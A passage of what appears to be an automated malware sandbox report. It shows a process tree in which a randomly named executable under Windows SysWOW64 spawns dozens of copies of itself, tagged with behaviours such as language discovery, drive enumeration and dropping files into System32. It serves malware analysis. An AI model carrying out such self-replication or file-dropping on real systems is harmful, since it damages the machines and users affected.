C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe80⤵PID:1032
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe81⤵PID:1760
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe82⤵PID:1152
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe83⤵PID:2968
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe84⤵PID:2408
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe85⤵PID:1920
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe86⤵
- System Location Discovery: System Language Discovery
PID:2768 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe87⤵PID:2008
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe88⤵
- System Location Discovery: System Language Discovery
PID:1680 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe89⤵PID:2788
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe90⤵PID:1624
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe91⤵
- System Location Discovery: System Language Discovery
PID:2700 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe92⤵
- Enumerates connected drives
PID:1604 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe93⤵PID:2088
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe94⤵
- Drops file in System32 directory
PID:1976 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe95⤵PID:1972
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe96⤵
- Drops file in System32 directory
PID:2452 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe97⤵PID:2396
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe98⤵PID:1448
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe99⤵PID:1636
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe100⤵
- System Location Discovery: System Language Discovery
PID:2932 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe101⤵PID:1068
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe102⤵
- Enumerates connected drives
PID:2252 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe103⤵PID:628
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe104⤵PID:2288
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe105⤵PID:2496
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe106⤵PID:2532
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe107⤵PID:536
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe108⤵
- Enumerates connected drives
PID:1044 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe109⤵PID:3088
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe110⤵
- Drops file in System32 directory
PID:3136 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe111⤵PID:3156
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe112⤵PID:3184
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe113⤵PID:3252
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe114⤵
- Drops file in System32 directory
PID:3264 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe115⤵PID:3320
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe116⤵PID:3376
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe117⤵PID:3392
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe118⤵
- Enumerates connected drives
PID:3456 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe119⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:3492 -
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe120⤵PID:3616
-
C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exeC:\Windows\system32\bYmZ0jx\yvdnDE4.exe121⤵PID:3680
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-